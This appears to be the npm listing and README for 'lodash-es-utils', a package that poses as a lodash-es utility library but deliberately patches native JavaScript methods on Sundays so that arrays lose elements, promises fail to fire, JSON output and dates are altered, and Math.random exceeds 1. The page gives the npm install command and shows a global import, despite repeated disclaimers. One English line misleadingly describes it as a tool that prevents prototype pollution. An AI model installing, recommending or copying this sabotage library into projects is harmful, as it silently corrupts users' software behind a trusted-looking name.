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lodash-es-utils

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lodash-es-utils

Utils for lodash

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🎉 lodash-es-utils

路虽远行则将至,事虽难做则必成!

lodash-es-utils

lodash-es-utils 是一个 JavaScript 实用工具库,它模仿了 lodash-es 的功能, 你可以直接使用 lodash-es 的所有功能。然而,它被设计为在特定条件下故意引入错误,主要用于测试和教育目的。请注意,这个库会在周日的时候修改原生 JavaScript 对象的行为,导致一些常用方法的行为异常。

郑重声明: 🚩 如果将此代码放在项目中,可能会使项目无法按预期工作,因此,
🐗 不要在任何项目中使用它! 不要在任何项目中使用它! 不要在任何项目中使用它!

安装

npm i lodash-es-utils

在 ES Module 环境

import _ from "lodash-es-utils";

const oldObj = { a: 1 };
const newObj = _.cloneDeep(oldObj);
console.log("newObj", newObj);
  • Array.includes 应用的数组长度可以被 7 整除时,永远返回 false。
  • Array.map 有 5%概率会丢失最后一个元素。
  • Array.filter 的结果有 5%的概率丢失最后一个元素。
  • Array.forEach 会卡死一段时间。
  • setTimeout 总是会比预期时间慢 1 秒才触发。
  • Promise.then 有 10%概率不会触发。
  • JSON.stringify 有 30%概率会把I(大写字母 I)变成l(小写字母 L)。
  • Date.getTime() 的结果总是会慢一个小时。
  • localStorage.getItem 有 5%几率返回空字符串。
  • Math.random() 的取值范围改为01.1

验证测试

<template>验证测试</template>

<script setup lang="ts">
import _ from "lodash-es-utils";

const arr = [1, 2, 3, 4, 5, 6, 7];
const arr1 = [1, 2, 3, 4, 5, 6];
console.log(_.chunk(arr, 2));
console.log(arr.includes(1)); //true
console.log(arr1.includes(1)); //false
</script>

// 或者直接在mian.ts中引入
import "lodash-es-utils";

防范措施

  • 如果你需要检查和防止原型链被污染,可以考虑使用如下工具:
npm i check-native-utils

声明:请勿用于任何项目!如果导致任何问题,与本人无关。


Used to verify and prevent the prototype chain from being contaminated.

Once introduced, it works like lodash, but produces some errors under certain conditions.

Solemnly declare: If you place this code in your project, it may make the project not work as expected, so,
Do not use it in any project! Do not use it in any project! Do not use it in any project!

This code executes the following logic only on Sundays:

  • Array.includes always returns false when the length of the applied array is divisible by 7.
  • Array.map has 5% chance to drop the last element.
  • Array.filter has 5% chance to drop the last element.
  • Array.forEach will cause a significant lag.
  • setTimeout will always trigger 1s later than expected.
  • Promise.then has 10% chance will not register.
  • JSON.stringify has 30% chance to replace all I into l.
  • Date.getTime() always gives the result off by 1 hour late.
  • localStorage.getItem has 5% chance to return empty string.
  • The possible range of Math.random() is changed to 0 - 1.1.

Disclaimer: Do not use for any project! If it causes any problems, it has nothing to do with me.

FAQs

Package last updated on 27 Jun 2024

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